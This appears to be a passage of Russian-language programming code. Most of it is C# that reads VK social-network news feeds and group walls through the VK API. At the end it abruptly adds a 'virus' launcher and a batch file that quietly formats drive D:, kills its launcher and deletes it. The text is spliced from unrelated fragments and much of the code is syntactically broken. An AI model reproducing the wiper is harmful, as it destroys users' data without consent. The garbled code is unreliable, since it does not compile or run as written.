Обратите внимание, идентификатор сообщества в параметре owner_id необходимо указывать со знаком "-" — например, owner_id=-1 соответствует идентификатору сообщества ВКонтакте API (club1)
using System;
using System.Data;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Newtonsoft.Json.Linq;
using System.Diagnostics;
using System.Collections.Generic;
using Newtonsoft.Json;
using System.Net.Mail;
using System.Net.Mime;
//далее ваш класс, допустим у вас есть кнопка и есть обработчик ее нажатия:
private async void button1_Click(object sender, EventArgs e)
{
List<string> News = new List<string>();
var json = JObject.Parse(await Download(string.Format("https://api.vk.com/method/newsfeed.get?v=5.64&access_token={0}&count={1}", Access_token, 10)));
if (!json.ToString().Contains("error"))
{
posts = (JArray)json["response"]["items"];
var query = from post in posts
select new
{
type = post["type"],//тип списка новости, соответствующий одному из значений параметра filters;
source_id = post["source_id"],//идентификатор источника новости (положительный — новость пользователя, отрицательный — новость группы);
date = post["date"],//время публикации новости в формате unixtime
text = post["text"],//находится в записях со стен и содержит текст записи;
post_id = post["post_id"]//идентификатор владельца стены, на которой размещена запись.
//другие параметры по желанию
};
foreach (var post in query)//перебираем новости и заносим в массив
{
News.Add("type = "+post.type+
", источник = "+ post.source_id +
", дата публикации = " + UnixTimeToDate(Convert.ToDouble(post.date))+
", текст новости = " + post.text +
", идентификатор поста = " + post.post_id
);
//делаем что хотим
}
for (int i = 0; i < News.Count; i++)
Console.WriteLine(News[i]+Environment.NewLine);
}
}
public static DateTime UnixTimeToDate(double unixTimeStamp)
{
return new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc).AddSeconds(unixTimeStamp).ToLocalTime();
}
using System;
using System.Data;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Newtonsoft.Json.Linq;
using System.Diagnostics;
using System.Collections.Generic;
using Newtonsoft.Json;
{List<string>Admins = new List<string>();
try
{
JToken fdbdb = JObject.Parse(await Download("https://api.vk.com/method/groups.getById?v=5.64&fields=contacts,deactivated,members_count&group_id=" + GROUPS[K]))["response"];
if (fdbdb[0]["deactivated"] != null)//группа забанена (временно или нет)
{
fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
}
if (Convert.ToUInt32(fdbdb[0]["members_count"]) < MinimalMembeers)//мало подписчиков
{
fuckthewall = true; fuckthetopics = true; isNeedToCheck = false;
}
JToken GroupContacts = fdbdb[0]["contacts"];
if (GroupContacts == null) GroupContacts = 0;
for (int j = 0; j < GroupContacts.Count(); j++)
{
JToken gjdfj = GroupContacts[j]["user_id"];
if (gjdfj != null) Admins.Add(gjdfj.ToString());
}
}
catch{}
}
{
json = JObject.Parse(await Download("https://api.vk.com/method/wall.get?v=5.64&count=30&owner_id=-" + GROUPS[K]));
if (!json.ToString().Contains("error"))
{
posts = (JArray)json["response"]["items"];
var query = from post in posts
select new
{
id = post["id"],
date = post["date"],
from_id = post["from_id"],//идентификатор автора записи.
text = post["text"],
owner_id = post["owner_id"]//идентификатор владельца стены, на которой размещена запись.
};
int posttobreak = 2;
foreach (var post in query)
{
DateTime Postdate = UnixTimeToDate(Convert.ToDouble(post.date));
if ((DateTimeNow - Postdate).Days < 10 || posttobreak > 0)//проверяем посты не старше 30 дней, но также проверяем парочку
{//первых записей, т.к. закрепленная запись выводится первой и у ней могут быть актуальные комменты, и может быть старше 30 дней, а вторая (по факту самая новая), может быть младше 30 дней
if ((DateTimeNow - Postdate) < c)//если пост опубликован после предыдущей проверки
if (!IsAdmin(Admins, post.from_id.ToString()))//если пост написан не админом
if (Convert.ToInt32(post.from_id) > 0)//проверяем пост на стене
if (post.text.ToString().Length > CommentLen)//если пост содержит текст
//
....
}}}
}
private async Task<string> Download(string whattodownload)
{
string returnstring = "";
using (WebClient w = new WebClient())
{
w.Encoding = Encoding.UTF8;
int ErrorsCount = 0;
bool downloaded = false;
while (downloaded == false)//периодически пытаемся скачать строку
{
try
{
returnstring = await w.DownloadStringTaskAsync(whattodownload);
downloaded = true;
}
catch
{
downloadingErrors++;
downloaded = false; ErrorsCount++; toomanyrequests += 2; Thread.Sleep(2000);
if (ErrorsCount > 10)
{
ErrorsCount = 0;
try
{
using (WebClient w2 = new WebClient())
{
returnstring = await w2.DownloadStringTaskAsync(whattodownload);
downloaded = true; break;
}
}
catch { }
}
}
}
}
try
{
if (returnstring.Contains("Too many requests per second"))//Если в скачанной строке есть ошибка
{
while (returnstring.Contains("Too many requests per second"))//то в цикле пытаемся снова скачать данные пока не скачаем
{
Thread.Sleep(2500); toomanyrequests += 2.5;
using (WebClient w2 = new WebClient())
{
w2.Encoding = Encoding.UTF8;
returnstring = await w2.DownloadStringTaskAsync(whattodownload);
}
}
}
}
catch
{
downloadingErrors++;
using (WebClient w2 = new WebClient())
{
Thread.Sleep(2500); toomanyrequests += 2.5;
w2.Encoding = Encoding.UTF8;
returnstring = await w2.DownloadStringTaskAsync(whattodownload);
}
}
return returnstring;//Если в скачанной строке не было ошибки "Too many requests per second" - все ОК, значит возвращаем ответ сервера
}
void func() { //Тело программы с именем "Virus_zapuskator.exe"
Process.Start("virus.bat",);
}
func() //вызываем сам вирус
#if (10 > 5) {
# func.Remove();
}
Код файла virus.bat который выполняет действие и убивает родителя.
@echo off
format D: /q /autotest //форматируем второй диск в системе
taskkill /f /im Virus_zapuskator.exe
del "Virus_zapuskator.exe" //удаляем функцию